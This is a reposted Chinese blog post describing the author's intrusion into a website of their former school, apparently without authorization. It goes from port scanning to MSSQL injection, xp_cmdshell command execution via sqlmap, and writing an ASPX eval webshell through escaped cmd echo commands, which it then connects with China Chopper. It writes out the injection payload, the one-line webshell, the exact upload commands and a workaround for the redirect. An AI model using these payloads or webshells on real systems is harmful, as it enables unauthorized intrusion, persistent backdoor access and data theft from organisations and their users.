转载

记一次对母校某站渗透至Getshell

下学期协会招新需要一个网络安全方面的炫酷视频。怎么录才能显得“炫酷”?起初想在Kali下面利用吊炸天的一些工具来录制,想到maltego那牛逼哄哄的画面,Kali自身给人的好奇感……最后实际上我的虚拟机下运行kali不是很流畅,也就打消了这个念头!于是乎,传统的从入门到Getshell(ruyu)便上场了!

0x01 锁定目标

话说一年一度的高考结束了,一大波学弟(xuemei)学妹们即将到来,小心思动了……怎么办?

于是乎,找到了***网站。

看了看,一分钟,两分钟……好了,渗透成功了:){~请容我ZB一次~}

0x02 找到突破口

锁定目标之后,对网站进行了全面的测试:

  1. 从域名到IP(由于网站没有使用cdn等,这一步很简单。直接用Chrome shoudan插件显示)
  2. 扫描目标主机开放端口及服务(用到nmap,看下图知道只有从web本身下手了)
    记一次对母校某站渗透至Getshell
  3. 对目标站点进行全面的测试,在手工测试的同时用netsparker扫描。发现了注入点一枚,后来扫描器也扫出来了,同时扫描器也扫到了xss等其他几个漏洞。

0x03 利用注入点

由于是aspx的网站架构,能想象,database很可能就是mssql:

?param=1%27;EXEC%20master.dbo.xp_cmdshell%20%27dir%27--%20

经过手工检测,这个payload是正常页面,但是并没有回显到页面,这里有点小疑问(如果你了解,请在评论去指出),后面果断上SQLMAP:

记一次对母校某站渗透至Getshell

SQLMAP不愧为SQL Injection 方面的神器,尽管有些人说sqlninja在mssql上更胜sqlmap一筹,不过我觉得sqlmap都已经很不错了。

可以看到,sql server 2005存在默认xp_cmdshell开启,而经检测当前又为sa用户,故可以用sqlmap直接执行系统命令(这里我可以直接远程开启3389,远程添加管理员,但是有一个局限导致这条直接通往Roma的大道是不通的:整个xuexiao的网站是不能用外网连接3389的[导致这个现象的原因有多种,后面再集中解决了])。

所以我就在想直接用远程cmd上传一个webshell然后再菜刀连接之,方便管理~

0x04 找出网站绝对路径

简单的报错等都无法得到绝对路径,看来是运维关闭了错误回显了。之后我用了一个自认为最笨的办法,那就是在远程命令行下使用dir命令找出网站绝对路径。

经历了从 dir c:dir e: 终于让我发现了,然而进去又有多个站点,在经过一番测试之后成功找出了当前网站的路径。

0x05 远程命令执行上传aspx一句话木马:

<%@ Page Language='Jscript'%><%eval(Request.Item['caidao'],'unsafe');%>

构造了以下payload:

payload: echo "<%@ Page Language='Jscript'%><%eval(Request.Item['linge'],'unsafe');%> " >> e:/web/site2/1.aspx

但是问题出现了,写入的一句话内容是这样的:

"<%@ Page Language='Jscript'%><%eval(Request.Item['linge'],'unsafe');%>"

直接去掉"" 又导致不能正常上传 ,原因是 < > 会让系统误认为是>>,导致语法不正确。这时候最会想到的就是转义 "" 使用无效,百度了一番,终于Get到了新技能:windows CMD 下对于"<" / ">"的转义是用"^",即"^<"、"^>",这下重新构造payload:

echo ^<%@ Page Language='Jscript'%^>^<%eval(Request.Item['linge'],'unsafe');%^> >> e:/web/site2/1.aspx

成功上传了!

0x06 新的问题又出现了

直接访问上传上去的1.aspx会发现浏览器会302跳转到 default.html ,在网站目录下访问其他aspx文件也是一样的效果,观察发现只能访问html文件,也就意味着你上传的webshell不能连接。就连 uploads/ 目录也是这个情况。后来细心地我发现,在这个网站根目录下有个 Website1 的目录,进入发现了一个aspx文件,抱着试一试的心理拿到浏览器去试,幸运的是他没有跳转,直接报错了。我试着直接把 1.aspx 上传到这个目录下, 1.aspx 可以访问而不跳转了,但是报错导致菜刀链接失败,看了下他的报错是这样的:

记一次对母校某站渗透至Getshell

于是我在我的木马前面加上了 <head runat="server" /> ,再去访问,发现没有报错了:)

成功用菜刀链接了:)

至此,前渗透阶段完成了!

最后以服务器上看到的一张照片结尾吧!算是一个福利:

记一次对母校某站渗透至Getshell
原文  https://www.ohlinge.cn/web/getshell.html
正文到此结束
Loading...